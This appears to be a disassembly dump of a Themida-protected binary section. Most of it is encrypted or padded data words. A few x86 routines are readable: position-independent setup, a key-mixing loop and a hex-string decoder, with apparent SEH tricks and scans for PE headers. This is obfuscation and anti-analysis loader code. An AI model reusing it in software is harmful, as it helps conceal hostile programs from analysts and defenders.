dd 77E7A1h, 0BC000000h, 1100581Ah, 5111111h, 0FEFFA756h
dd 0FE1F64E5h, 0CBA1h, 9000000h, 5809h, 2000000h, 0ED000000h
dd 5722h, 4000000h, 0FFA725h, 23000000h, 0A1005700h, 6BCB18h
dd 2 dup(0)
dd 74000000h, 5D7BC2h, 0E9000000h, 400h, 4010h, 0E2000000h
dd 8A0FB5h, 5 dup(0)
dd 0B2000000h, 0F03A0BFEh, 1BBFFh, 0B4000000h, 3F7E55FCh
dd 400596Eh, 3, 77DD00h, 3 dup(0)
dd 0FB000000h, 910000ACh, 0CBA850h, 6 dup(0)
dd 94000000h, 3, 0A3000000h, 5A78h, 2B000000h, 7Bh, 4 dup(0)
dd 2000000h, 59000000h, 0C47FA99Eh, 430012FFh, 53FFADh
dd 0
dd 9A000000h, 16h, 0
dd 0BD000000h, 0FFAD00h, 70000000h, 53EEh, 3 dup(0)
dd 0F4000000h, 0E64374h, 2 dup(0)
dd 0B1000000h, 0FFFFFFh, 34000000h, 14h, 3 dup(0)
dd 36000000h, 5423h, 5 dup(0)
dd 30000000h, 0A6h, 3 dup(0)
dd 97000000h, 5A7Ch, 4 dup(0)
dd 56000000h, 49005979h, 6C138DB9h, 0FFFFA2h, 37000000h
dd 77E7A8h, 3 dup(0)
dd 6A000000h, 5977D4C9h, 0BE1800h, 2 dup(0)
dd 2B000000h, 77F51Bh, 39000000h, 0F0000000h, 57BDh, 0
dd 37000000h, 77E7A8h, 6 dup(0)
dd 79000000h, 4005780h, 7FFE03h, 0DD000000h, 0BB69h, 2 dup(0)
dd 0FC000000h, 8001FCh, 7 dup(0)
dd 26000000h, 0C8h, 1069h, 0FC000000h, 0FFFFFCh, 0
dd 99000000h, 0CF00BB94h, 144F2Bh, 0B5000000h, 77E75Ch
dd 4 dup(0)
dd 66000000h, 541Eh, 3 dup(0)
dd 5D000000h, 0A02A707h, 0BB8Ch, 0Dh dup(0)
dd 37000000h, 75BE78h, 0AC000000h, 0E200005Ah, 0B5h, 3 dup(0)
dd 70000000h, 70h, 8 dup(0)
dd 0C0000000h, 0D6BA66h, 6 dup(0)
dd 2B000000h, 0AC00007Bh, 0FFED00h, 0FE000000h, 0D15F727Ch
dd 7, 9 dup(0)
dd 0DD000000h, 0BB69h, 0Ch dup(0)
dd 0F9000000h, 47000078h, 0FEE8C0h, 3 dup(0)
dd 0AC000000h, 0FFFF5Bh, 0
dd 0BD000000h, 82EC04h, 2 dup(0)
dd 5600h, 3 dup(0)
dd 0FD000000h, 777FFFh, 2 dup(0)
dd 5F000000h, 82005B3Fh, 177E78Bh, 0Ah dup(0)
dd 36000000h, 56A0h, 0
dd 0EF000000h, 264EEh, 1Bh dup(0)
dd 4000000h, 88000000h, 0FFFF96h, 68000000h, 0FFFFA2h
dd 3 dup(0)
dd 82000000h, 29546CDAh, 2700009Ch, 0FD00000Ch, 77E7A5h
dd 4 dup(0)
dd 88000000h, 5725h, 0
dd 8000000h, 0C41321h, 7 dup(0)
dd 0A0000000h, 3, 0
dd 0FFEF97h, 0Dh dup(0)
dd 0A0000000h, 4 dup(0)
dd 3F000000h, 77E7A1h, 0F8000000h, 0BA00h, 2 dup(0)
dd 477F500h, 7FFE03h, 24000000h, 77FC50h, 6 dup(0)
dd 68000000h, 5795h, 5 dup(0)
dd 0B2000000h, 4CEE73h, 70000000h, 0FE2D79h, 3 dup(0)
dd 8B000000h, 6861C0h, 0
dd 0FE000000h, 0F75E09h, 0
dd 4000000h, 7FFE03h, 56000000h, 5979h, 5 dup(0)
dd 34000000h, 0BB92h, 5 dup(0)
dd 0A4000000h, 3 dup(0)
dd 0E8000000h, 4466Ch, 0
dd 0FE000000h, 78FFFFFFh, 576A79h, 8 dup(0)
dd 4B000000h, 0F499087Dh, 7900009Ah, 0F1A6BFBh, 0BBA0h
dd 1000000h, 6 dup(0)
dd 2A000000h, 5152D7h, 0E0000000h, 98000000h, 0D4000000h
dd 5AE3h, 6 dup(0)
dd 0AC000000h, 51FFED00h, 26E03Eh, 3 dup(0)
dd 0C000000h, 25C00h, 10000000h, 84h, 86000000h, 77E7C4h
dd 2 dup(0)
dd 8D000000h, 805B8Dh, 0C8000000h, 8100005Ch, 634DA19Fh
dd 77E779h, 0DB000000h, 350EA3h, 3F000000h, 0FFA7F2h, 0B0000000h
dd 8001ABFFh, 0Eh, 18000000h, 0A4825A44h, 0F70012FFh, 0F5AFB9h
dd 9000000h, 0A5046h, 0
dd 64000000h, 5935h, 25C00h, 0E3000000h, 0AD3B0h, 0
dd 0E7000000h, 0FB003F00h, 535F37h, 1Dh dup(0)
dd 0FF000000h, 0FFFFFFh, 0
dd 3D000000h, 4112BFh, 0F000000h, 77F52Eh, 4000000h, 7FFE03h
dd 2B000000h, 77F51Bh, 3 dup(0)
dd 0F1000000h, 0FF445Fh, 3 dup(0)
dd 0F000000h, 4FFA521h, 0D87FFE03h, 0BD7Fh, 2 dup(0)
dd 4E000000h, 85350Dh, 0
dd 3CCh, 55000000h, 48D05AAEh, 4A3455h, 3 dup(0)
dd 5C000000h, 0FFED00h, 3 dup(0)
dd 58000000h, 59B6h, 3 dup(0)
dd 7A000000h, 0BB8169h, 9 dup(0)
dd 88000000h, 68000000h, 2FFFFA2h, 3 dup(0)
dd 0F4000000h, 5B000000h, 3D00BB91h, 0AEh, 0Dh dup(0)
dd 0B0000000h, 0FFh, 4 dup(0)
dd 81000000h, 5807h, 2 dup(0)
dd 2B000000h, 7900007Bh, 1A6BFBh, 4 dup(0)
dd 0D3000000h, 6003AA0Fh, 0FFA871h, 6 dup(0)
dd 4000000h, 7FFE03h, 8 dup(0)
dd 0AC000000h, 0BD9Bh, 3 dup(0)
dd 0FC000000h, 8001FCh, 72000000h, 58C9h, 10h, 3 dup(0)
dd 0D1000000h, 3400597Ah, 0B500BDB1h, 75h, 4000000h, 67FFE03h
dd 5 dup(0)
dd 0DD000000h, 0BB69h, 0BB000000h, 77E7FAh, 2 dup(0)
dd 1000000h, 0C9000000h, 191C25C0h, 50000000h, 377CEDh
dd 4 dup(0)
dd 33000000h, 0FFFE0Eh, 65000000h, 259655h, 5 dup(0)
dd 4C000000h, 2 dup(0)
dd 60000000h, 0BC15h, 0D2000000h, 6, 7 dup(0)
dd 33000000h, 881889h, 0
dd 44000000h, 77E7A1h, 0C0000000h, 38000000h, 41D5h, 2 dup(0)
dd 26000000h, 0EEA48Fh, 0
dd 91000000h, 5AA5h, 2Ah dup(0)
dd 3B000000h, 53F6h, 12h dup(0)
dd 2B000000h, 7Bh, 2 dup(0)
dd 7Bh, 3 dup(0)
dd 4000000h, 0
dd 10000000h, 0FFFFFFh, 2 dup(0)
dd 4000h, 5 dup(0)
dd 30000000h, 312D34h, 2 dup(0)
dd 0F9000000h, 5778h, 0F000000h, 5A90h, 0Bh dup(0)
dd 48000000h, 0FFA670h, 64000000h, 0BC15h, 2 dup(0)
dd 3B000000h, 0EFCE3Dh, 0B8000000h, 0
dd 374C00Bh, 8B0018C2h, 530C2444h, 0E8h, 0C3815B00h, 17h
dd 10245C89h, 14244489h, 0A037B85Bh, 0E0FF00BBh, 424448Bh
dd 0E0FFh, 12h dup(0)
dd 60000000h, 12FFh, 0
dd 4000000h, 7FFE03h, 0DC000000h, 0FFFFA2h, 79000000h
dd 5780h, 0
dd 0CC000000h, 0BCFEF893h, 8 dup(0)
dd 0B8000000h, 473B95h, 8B000000h, 60D48BC5h, 0E8h, 0ED815D00h
dd 9353353h, 26899589h, 0B5890935h, 9351049h, 0AF98589h
dd 0BD830935h, 9350315h, 8B0C7400h, 0B8E28BE8h, 1, 8B000CC2h
dd 89242444h, 352DD185h, 0E8456A09h, 0A3h, 83749A68h, 0DFE807h
dd 25680000h, 0E80A894Bh, 0D5h, 214E9h, 47464500h, 4B4A4948h
dd 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h, 5F5E5D5Ch
dd 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h, 87868584h
dd 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h, 9B9A9998h
dd 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h, 0AFAEADACh
dd 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh, 0C3C2C1C0h
dd 2 dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
pusha
call $+5
pop edx
sub edx, 9353441h
mov ebx, edx
mov dword ptr [ebp-28h], 0
loc_541A1F: ; CODE XREF: Themida_:00541A3Cj
mov eax, [ebp-28h]
inc eax
mov [ebp-28h], eax
cmp dword ptr [ebp-28h], 80h
jz short loc_541A3E
mov eax, [ebp+8]
mov [ebx+93533ABh], eax
inc dword ptr [ebp+8]
inc ebx
jmp short loc_541A1F
; ---------------------------------------------------------------------------
loc_541A3E: ; CODE XREF: Themida_:00541A2Dj
mov [ebp-24h], eax
popa
mov eax, [ebp-24h]
leave
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFF7Ch
pusha
call $+5
pop edx
sub edx, 935348Ah
lea eax, [ebp-80h]
mov ebx, [ebp+8]
mov dword ptr [ebp-84h], 0
loc_541A6F: ; CODE XREF: Themida_:00541A8Aj
mov ecx, [ebp-84h]
rol ebx, 1
mov [eax], bl
inc ecx
mov [ebp-84h], ecx
cmp dword ptr [ebp-84h], 80h
jnz short loc_541A6F
mov dword ptr [ebp-84h], 0
lea edi, [edx+93533ABh]
lea esi, [ebp-80h]
loc_541A9F: ; CODE XREF: Themida_:00541ACCj
mov cl, [esi]
mov ebx, 1F4h
mov eax, 785437ABh
loc_541AAB: ; CODE XREF: Themida_:00541AB2j
rcl eax, cl
mov cl, [edi]
rcl eax, cl
dec ebx
jnz short loc_541AAB
imul eax, ebx
inc edi
inc esi
mov ecx, [ebp-84h]
inc ecx
mov [ebp-84h], ecx
cmp ecx, 80h
jnz short loc_541A9F
popa
leave
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
mov esi, [ebp+8]
mov dword ptr [ebp-4], 0
jmp short loc_541AE9
; ---------------------------------------------------------------------------
loc_541AE5: ; CODE XREF: Themida_:00541AECj
inc dword ptr [ebp-4]
inc esi
loc_541AE9: ; CODE XREF: Themida_:00541AE3j
cmp byte ptr [esi], 0
jnz short loc_541AE5
mov edx, 0
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
jmp short loc_541B7A
; ---------------------------------------------------------------------------
loc_541AFB: ; CODE XREF: Themida_:00541B7Dj
mov dword ptr [ebp-8], 0
jmp short loc_541B71
; ---------------------------------------------------------------------------
loc_541B04: ; CODE XREF: Themida_:00541B75j
mov dword ptr [ebp-10h], 0
mov dword ptr [ebp-0Ch], 0
jmp short loc_541B5E
; ---------------------------------------------------------------------------
loc_541B14: ; CODE XREF: Themida_:00541B62j
shl dword ptr [ebp-10h], 4
mov eax, [ebp-8]
shl eax, 1
add eax, edx
add eax, [ebp-0Ch]
xor ebx, ebx
mov bl, [eax+esi]
cmp bl, 30h
jb short loc_541B36
cmp bl, 39h
ja short loc_541B36
sub bl, 30h
jmp short loc_541B58
; ---------------------------------------------------------------------------
loc_541B36: ; CODE XREF: Themida_:00541B2Aj
; Themida_:00541B2Fj
cmp bl, 61h
jb short loc_541B48
cmp bl, 66h
ja short loc_541B48
sub bl, 61h
add bl, 0Ah
jmp short loc_541B58
; ---------------------------------------------------------------------------
loc_541B48: ; CODE XREF: Themida_:00541B39j
; Themida_:00541B3Ej
cmp bl, 41h
jb short loc_541B58
cmp bl, 46h
ja short loc_541B58
sub bl, 41h
add bl, 0Ah
loc_541B58: ; CODE XREF: Themida_:00541B34j
; Themida_:00541B46j ...
add [ebp-10h], ebx
inc dword ptr [ebp-0Ch]
loc_541B5E: ; CODE XREF: Themida_:00541B12j
cmp dword ptr [ebp-0Ch], 2
jb short loc_541B14
cmp dword ptr [ebp-10h], 0
jbe short loc_541B6E
mov eax, [ebp-10h]
stosb
loc_541B6E: ; CODE XREF: Themida_:00541B68j
inc dword ptr [ebp-8]
loc_541B71: ; CODE XREF: Themida_:00541B02j
cmp dword ptr [ebp-8], 2
jb short loc_541B04
add edx, 4
loc_541B7A: ; CODE XREF: Themida_:00541AF9j
cmp edx, [ebp-4]
jb loc_541AFB
mov al, 0
stosb
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
db 0B9h, 0, 70h
dd 0BD8D0000h, 93535D0h, 49470FFEh, 21B8FA75h, 0BA486921h
dd 0F00E0000h, 0EA81h, 858DF000h, 93536ECh, 35FF6450h
dd 0
dd 258964h, 0E8000000h, 0
dd 13BB6658h, 0E86050A5h, 8, 372D5C66h, 2B665812h, 605B6158h
dd 12E8h, 21681D00h, 7BD6F5C6h, 3758C93h, 0B90E24CEh, 0E840A427h
dd 0Dh, 846A1DF7h, 0ADB3DE91h, 0F5555A46h, 0F5A5A23h, 0E88h
dd 8E800h, 0D1300000h, 25DC147Bh, 615A8534h, 8B66C22Bh
dd 0F00025D8h, 8B66FFFFh, 33CA8BD9h, 388166FFh, 0E755A4Dh
dd 3C50B70Fh, 3A81D003h, 4550h, 2D0874h, 47000010h, 8F64E3EBh
dd 5, 4C48300h, 36FF958Dh, 64520935h, 35FFh, 89640000h
dd 25h, 2DC10300h, 1000h, 8104708Bh, 0FF0000E6h, 0FE81FFh
dd 76800000h, 1C708B03h, 0F883C033h, 661F7432h, 5A4D3E81h
dd 0EE810974h, 10000h, 8BEBEB40h, 0FE033C7Eh, 45503F81h
dd 44740000h, 8F64E8EBh, 5, 4C48300h, 8B51C361h, 8110244Ch
dd 0B0A9h, 100000h, 0C0335900h, 4C8B51C3h, 0E8551024h
dd 0
aBa75Ne65Ib db ']│М',0Ah
db '75',9,'█┘х65',9,'┴│╦',0
db 2 dup(0), 5Dh
dd 0C3C03359h, 58F6496h, 0
dd 0F04C483h, 385h, 0D9BF0F00h, 0F8D98C66h, 8104E180h
dd 0CBEBC9C3h, 0FC90A2Ch, 1E85h, 0BAF96000h, 711EC4F0h
dd 1985C761h, 109351Ch, 81000000h, 1A7845DBh, 2FE93Ch
dd 0C7F50000h, 351C1985h, 9, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1C04h, 0C3504000h, 98C78BB8h
dd 0B9C1F71Ch, 0C9858920h, 0E909350Eh, 0Ch, 7280E7EFh
dd 7A6E1AD6h, 0AB9DA771h, 0B890Fh, 6E90000h, 9B000000h
dd 6BB2441h, 7D8589A1h, 0E8093516h, 6, 61B8C65Ah, 8B66F95Fh
dd 0B70F5ECBh, 0A4C681CEh, 8100006Bh, 270D49F1h, 0FC02B76h
dd 34FFFAB7h, 0BE830h, 0CFE10000h, 980036CDh, 0E16AA8FFh
dd 0EDC181EBh, 5953BCE5h, 0FABF0F5Ah, 0C817EA81h, 0F607BE4h
dd 5E9C1B7h, 80000000h, 0E6052AE5h, 8DC28161h, 66373A93h
dd 8171A7BBh, 0AA35F5C2h, 0FE8B6620h, 66061489h, 0D181D88Bh
dd 3C880DA6h, 89F2E881h, 0CF816BBFh, 41123E21h, 89EEC081h
dd 0AE86BBFh, 0BD000000h, 0C4F07D7Eh, 4C88A67Eh, 5BCF8BB1h
dd 9504F881h, 850FFFFFh, 0FFFFFF7Eh, 7E9h, 9614E500h, 0A628FD5Ch
dd 732E9h, 91BD8900h, 17093510h, 1D000002h, 93532h, 958B6000h
dd 9352CB1h, 4C24A2BAh, 9606102h, 3521F59Dh, 0B809h, 0BD890000h
dd 9351749h, 0C599589h, 548B0935h, 8A0F2824h, 1, 7D8589F9h
dd 9093512h, 35003D95h, 3CBE09h, 880F0000h, 0Ch, 6880Fh
dd 8F0F0000h, 0
dd 24247403h, 8E960h, 7FA70000h, 0BDE01BD0h, 95296CEBh
dd 9352801h, 9E96061h, 58000000h, 4C029268h, 8EFBE533h
dd 8258D31h, 66610935h, 8D0F60ADh, 6, 1065858Bh, 0B58B0935h
dd 9353071h, 24440361h, 0EE924h, 91F90000h, 0F2FBE9F9h
dd 0B30BA3BEh, 0EF6CCAC8h, 0B860F90h, 0E9000000h, 6, 0BCB4CD35h
dd 0F5080B6h, 148Bh, 0FE900h, 10860000h, 183E06EEh, 408C90ABh
dd 0D7C92806h, 666090D0h, 0E980B9B9h, 0Eh, 4621E8B4h, 8F149CC6h
dd 4D34EDA1h, 0E9615D0Ch, 10h, 886B377Ch, 0FA2A381Bh, 34DCF5A4h
dd 4F709B2h, 0F978408Bh, 29198D89h, 44030935h, 2B602824h
dd 35235595h, 9B53309h, 6109351Ch, 0F18408Bh, 18Bh, 6040F800h
dd 8E9h, 0D7EEA300h, 9530E71Fh, 0B58B52BBh, 93528CDh, 85896159h
dd 9353881h, 0BE9h, 55E96B00h, 7C8EF382h, 0BF646DC8h, 68A0F58h
dd 31000000h, 352D3D85h, 78708B09h, 0E870Fh, 9600000h
dd 352D419Dh, 0C58D8909h, 6109351Ah, 0F51CC683h, 24247403h
dd 12E9h, 0F7AB4D00h, 8588A506h, 586284CDh, 16EEE0D6h
dd 8D0F7570h, 350571BDh, 6800F09h, 31000000h, 35117185h
dd 0E9ADF509h, 9, 0E4BECD47h, 4E86B0C0h, 244403A2h, 0C8C0F24h
dd 0F000000h, 682h, 21850100h, 0AB09352Eh, 2609B529h, 0BD8D0935h
dd 9351D59h, 10299529h, 0FCAD0935h, 24244403h, 9E9F8h
dd 0DD330000h, 9000FEB8h, 50A6F74Bh, 6880F60h, 0F000000h
dd 86h, 1BEEBE00h, 89613F74h, 85292404h, 9350635h, 3D9D29ABh
dd 8D09352Ch, 350A79BDh, 89ADFC09h, 3506D5BDh, 24440309h
dd 10E928h, 0D1C00000h, 0F1B1B52Bh, 0E0DF749Eh, 5AA67011h
dd 0FCAB4AB5h, 10E95Eh, 70370000h, 0DAC72D6Ch, 333106CBh
dd 8FF29238h, 8DFF933Fh, 9353881h, 3881BD83h, 75000935h
dd 2444C710h, 1Ch, 44B58D00h, 0FF09353Dh, 3AD56E6h, 97282444h
dd 858ADF8Bh, 935179Dh, 474C084h, 4C75073Ah, 0AEC03257h
dd 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh
dd 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h, 66504135h
dd 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h
dd 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh, 127D85FFh
dd 6FE90935h, 5EFFFFFFh, 0ED8589FCh, 0FC093525h, 127D858Bh
dd 8E90935h, 0A6000000h, 0F920F1FBh, 0D1CB3D0Ah, 68C0FE0h
dd 31000000h, 352BA98Dh, 8503F909h, 9350A79h, 0FCF62BFCh
dd 68F0F96h, 29000000h, 3505019Dh, 60AD6609h, 0CD98D89h
dd 0BF0F0935h, 0E0C161C8h, 5E86002h, 91000000h, 2F00BA2h
dd 1D8D8509h, 35F0935h, 3530898Dh, 85036109h, 9350571h
dd 28818D89h, 60960935h, 2625858Bh, 840F0935h, 12h, 0CE8h
dd 0E6BC8400h, 0AB6F6F5h, 4F519E44h, 0F615F0Fh, 0B81h
dd 6E900h, 0BA7A0000h, 0A7035CBCh, 0DE9ADh, 49AA0000h
dd 0F6438E70h, 0CCB17624h, 8BDE62DAh, 0F524244Ch, 24244403h
dd 1299BD31h, 44890935h, 0BF601C24h, 5876DE88h, 66609661h
dd 0AC61CF8Bh, 89C932F5h, 352FC59Dh, 0FC1FE09h, 188Dh
dd 13E900h, 46640000h, 586EA8E3h, 5CA94B52h, 0BAF30E7Eh
dd 4CC0709Bh, 0FD0D069h, 0B583h, 14E96000h, 0C1000000h
dd 0DFFBF431h, 11187461h, 0FAF3CED8h, 574C66F3h, 610DA12Fh
dd 830FD0D0h, 92h, 178B0Fh, 12E90000h, 81000000h, 922A806Fh
dd 5D434BDCh, 362178F7h, 311FD1CCh, 0DC8060CAh, 7D9D23C2h
dd 61093501h, 820FD0D0h, 62h, 7E9h, 0C10AF500h, 3D4F6FD6h
dd 820FD0D0h, 4Eh, 0FC9FEF8h, 0FFFF8889h, 858960FFh, 9352B09h
dd 20C48361h, 2444C7F5h, 0FCh, 1B8F800h, 0F8000000h, 70998D8Dh
dd 0AE90935h, 34000000h, 0FABA70D5h, 831DE6D4h, 0E1FFF5A7h
dd 0C850Fh, 860F0000h, 6, 2291B501h, 85C60935h, 935179Dh
dd 0E961F900h, 0Dh, 80787083h, 0C9E7DE9Dh, 0B8C8C1C4h
dd 8C203h, 12419D29h, 0E9960935h, 0Dh, 0AE93DD04h, 0AF5E73A8h
dd 379BCF1Fh, 6E95040h, 7B000000h, 0A905AFE4h, 89F59646h
dd 35105D95h, 41B58909h, 6009353Fh, 6890FF5h, 0F000000h
dd 85h, 8D896100h, 9353F72h, 4EDB529h, 0B58D0935h, 9353E07h
dd 35858DF8h, 0F005B7Eh, 685h, 11BD8900h, 0FF09350Dh, 0DE9D0h
dd 2B140000h, 30176FEEh, 0D69FE965h, 5E86192Dh, 8E9h, 0F3413000h
dd 41BA7177h, 60F5C3D5h, 12759D89h, 0DE90935h, 4D000000h
dd 25AB6B58h, 77591529h, 8EB3B107h, 41B58B61h, 0F09353Fh
dd 118Bh, 0CE900h, 0AEE10000h, 5245466Eh, 91323AD6h, 8D8B957Ch
dd 9353F72h, 1840Fh, 2BF80000h, 0CE9C0h, 0DCB0000h, 9A75ADB0h
dd 0B940C57Ah, 0D98B1051h, 0DAE9F8h, 32F90000h, 810FF526h
dd 6, 2CB9B529h, 2B20935h, 2295BD09h, 89E90935h, 0E9000000h
dd 8, 545175CAh, 0D47DBAC5h, 2960C232h, 352A8DBDh, 0ED852909h
dd 61093504h, 751D7A05h, 0B995898Ah, 0E9093510h, 11h, 0CD1800B6h
dd 52D129D9h, 5D99704Ah, 0B9794085h, 60CC8A28h, 0CE8h
dd 0BC7A3B00h, 2D62A9Ch, 735EEFE8h, 0F8C081B4h, 5E4389C8h
dd 1DF9BD8Bh, 0D3610935h, 17B060C8h, 273D9D01h, 35610935h
dd 98D10842h, 60CAFEF8h, 8E8h, 67CCCC00h, 91507EE6h, 2C83BEF2h
dd 61580A24h, 850FD20Ah, 0FFFFFF7Ch, 499D8960h, 0B3093528h
dd 604B61F2h, 6E9h, 402B2600h, 89F6E1AFh, 352FBD85h, 0F466109h
dd 18Eh, 0B589FC00h, 9351C39h, 850FDB0Bh, 0FFFFFF1Fh, 6860Fh
dd 0BD890000h, 9351C65h, 419589CFh, 9350Ah, 2DB52900h
dd 0E9093501h, 12h, 73A8AE93h, 0CF1FAF5Eh, 3B40379Bh, 0C8EB394Dh
dd 732h, 239DB589h, 0B9600935h, 7A9A1E15h, 61DF8B66h, 8B0F0000h
dd 16h, 11E9h, 638B700h, 2D7BB8D0h, 6D95AAECh, 9D0C0DEFh
dd 0F5C0F2h, 148B0F00h, 0E9000000h, 0Fh, 514C297h, 2B7CDFA0h
dd 0AB7B0E76h, 8D421C55h, 35389885h, 0C8F0F09h, 0F000000h
dd 680h, 8E0F00h, 89000000h, 35282185h, 95858909h, 8D09350Ch
dd 353D6885h, 0E1850109h, 0E909352Ch, 6, 0D50D2E9Fh, 8589229Fh
dd 93526EDh, 0EE8h, 0B5155D00h, 5AF8087Bh, 790A1D57h, 0BF9D78C3h
dd 41A84EF6h, 0F6CF805Ah, 6789C281h, 8D090000h, 9352DC9h
dd 5B53C02Bh, 0F1034FFh, 58Eh, 0C1816600h, 0F5E8DB4h, 685h
dd 0C1958900h, 81093510h, 73A643C6h, 0CD8D893Ah, 81093524h
dd 33E6C4C6h, 68B0F72h, 0B000000h, 3532099Dh, 23F68109h
dd 8B39FA26h, 23489DFh, 0E880Fh, 8B600000h, 3506658Dh
dd 0C1952909h, 6109350Ch, 3C65E881h, 8B601EC3h, 352E19BDh
dd 61BDB309h, 3C61C081h, 34BB1EC3h, 8131A8FAh, 0FF9924F8h
dd 81850FFFh, 0E9FFFFFFh, 6, 4AE749DBh, 14EB6073h, 4 dup(0)
dd 8Bh, 4172858Dh, 85890935h, 9352499h, 40B2BD83h, 0F000935h
dd 12384h, 9D85C600h, 56093517h, 0DFDF9468h, 2404819Ch
dd 373F8DA5h, 0EC9B5FFh, 858D0935h, 9353898h, 8589D0FFh
dd 93540A6h, 179D85C6h, 0E8560935h, 4, 9CA8B852h, 24448B50h
dd 89008B04h, 58042444h, 0EC9B5FFh, 858D0935h, 9353898h
dd 8589D0FFh, 93540AAh, 0A568046Ah, 817F00F8h, 0E8A52434h
dd 858B7F00h, 93540B6h, 1F405h, 2E0C100h, 24048950h, 95FF006Ah
dd 93540AAh, 40AE8589h, 0D88B0935h, 0FFFFFFB8h, 9995FFFFh
dd 8B093524h, 9995FFC3h, 0E9093524h, 84h, 40B2BD83h, 0F000935h
dd 185h, 8B57C300h, 3540AEBDh, 8583AB09h, 93540AEh, 83C35F04h
dd 3540B2BDh, 850F0009h, 1, 0AD8360C3h, 93540AEh, 0AE9D8B04h
dd 83093540h, 0FFFFC7Bh, 1D85h, 37A06800h, 481D912h, 0EE486024h
dd 0FF006A26h, 0A695FF33h, 61093540h, 1DE9C3h, 0F5680000h
dd 8113CAC7h, 47F52434h, 6A13CAh, 95FF33FFh, 93540A6h
dd 40AEAD83h, 0E9040935h, 0FFFFFFB1h, 9D3E948h, 0CB260000h
dd 4A34C665h, 0C722ED61h, 7B5C48A3h, 0D401E6FEh, 7D1602BDh
dd 0C52DF362h, 0C421DA70h, 0ED7B433Bh, 83FCB65h, 0D030E56Dh
dd 694D1BF1h, 9F0EA3F9h, 776661D2h, 0C430E768h, 0C421887Ch
dd 0EE744539h, 825CB65h, 0CF2AF872h, 775105F1h, 911AB4E2h
dd 3B5202B9h, 0D530E37Fh, 8A20DA31h, 0F860452Ch, 4723D265h
dd 0CF24F873h, 0FFh, 62h dup(0)
dd 0CB260000h, 463ECF65h, 0D02AFE7Dh, 754618F1h, 0DC02B4EAh
dd 685704F8h, 0C426E42Dh, 0C532883Eh, 0AA714420h, 463FD737h
dd 8222E47Dh, 631406B8h, 9111B3E2h, 6F4515ABh, 0AB6DEB68h
dd 0CF38F85Dh, 0A6705934h, 443FD765h, 8221EB7Bh, 7C141CB8h
dd 910EA9FFh, 745B09B5h, 0C063FF7Fh, 0D874CC3Eh, 0EB615930h
dd 5171D637h, 8237FF7Bh, 7D5B1AA1h, 9F0EA7FFh, 48h dup(0)
dd 0CB260000h, 4923C165h, 0D020E177h, 6E141BF6h, 910FA9E2h
dd 3B450DB0h, 0CF26E36Fh, 0DF3BCE70h, 0F8354E3Bh, 413FCC30h
dd 0CB65ED7Ah, 754D48BFh, 0C243B4F8h, 7E421FA1h, 0AC49A860h
dd 0CB31C400h, 0AA394F26h, 473DCC30h, 0CB65EE75h, 685248A5h
dd 0DC43ABE2h, 695901BDh, 0CF22A674h, 0CF268834h, 0F8745E26h
dd 47288231h, 0D265F861h, 685307A3h, 4DABECh, 61h dup(0)
dd 0CC260000h, 834CE2Ch, 0D037E577h, 7F4018A4h, 914DE7E9h
dd 685F048Ch, 0CE31F62Dh, 0C735DA37h, 0F9744275h, 4D34C065h
dd 0C328AA7Ah, 6F4401BFh, 0D417A7E1h, 75574CBCh, 0C02EA669h
dd 0A031CA29h, 0AD614358h, 46388236h, 0D626EF72h, 78140CB4h
dd 9102E6F4h, 6E44058Eh, 0D32CA67Eh, 0CB26CB70h, 0EE704136h
dd 4005826Bh, 0C465F97Dh, 3A5104B8h, 960DA9FAh, 74414CACh
dd 0C063ED7Fh, 0C539D13Eh, 3B4F27h, 0E0h dup(0)
dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0)
aExitStatusD db 'Exit Status = %d',0
align 4
dd 0
dd 2E64E900h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 2E5F20C3h, 0C21D1FCDh, 89A89D52h
dd 3503F1B5h, 6BEA8009h, 57006AFCh, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1A04h, 0C3574700h, 0F40401E2h, 9D8FD4Ch
dd 352DCD85h, 81C08B09h, 869E4C2h, 0A1BD8355h, 93526h
dd 0BD830975h, 9353079h, 50137400h, 0B8C08B53h, 1, 0B2DA9D8Dh
dd 0D3FF0937h, 0BD83585Bh, 9353079h, 50117400h, 1B853h
dd 9D8D0000h, 937B18Bh, 585BD3FFh, 80DE8B66h, 0C08B56D6h
dd 83D38B66h, 352855BDh, 840F0009h, 19Ah, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 16h, 33C35545h, 0BD83AB15h
dd 93529E1h, 6F840F00h, 8B000001h, 35278995h, 8BF96009h
dd 3529E185h, 62AABA09h, 0E80508B2h, 0E9000003h, 14h, 0F7C22014h
dd 4033D997h, 0AD6BDA67h, 0B94EFF4Eh, 8D7FFAE7h, 68F0F90h
dd 50000000h, 4FABA66h, 0D68B505Ah, 0D88B5190h, 0B6858D5Ah
dd 0E909354Bh, 11h, 0D6E0AEBBh, 7A053678h, 0FCD1E26h, 211EB213h
dd 489501Ch, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1604h, 0C3514100h, 898CF035h, 3503FDB5h, 5D9D8B09h
dd 60093530h, 8BC7BF0Fh, 350DA985h, 858D6109h, 9354B94h
dd 0FE9h, 52620600h, 0E7E68EFDh, 0ED7B7841h, 937F6036h
dd 0CE95150h, 0ED000000h, 6C9C7E7Ah, 11D9E5B9h, 5B323B2Fh
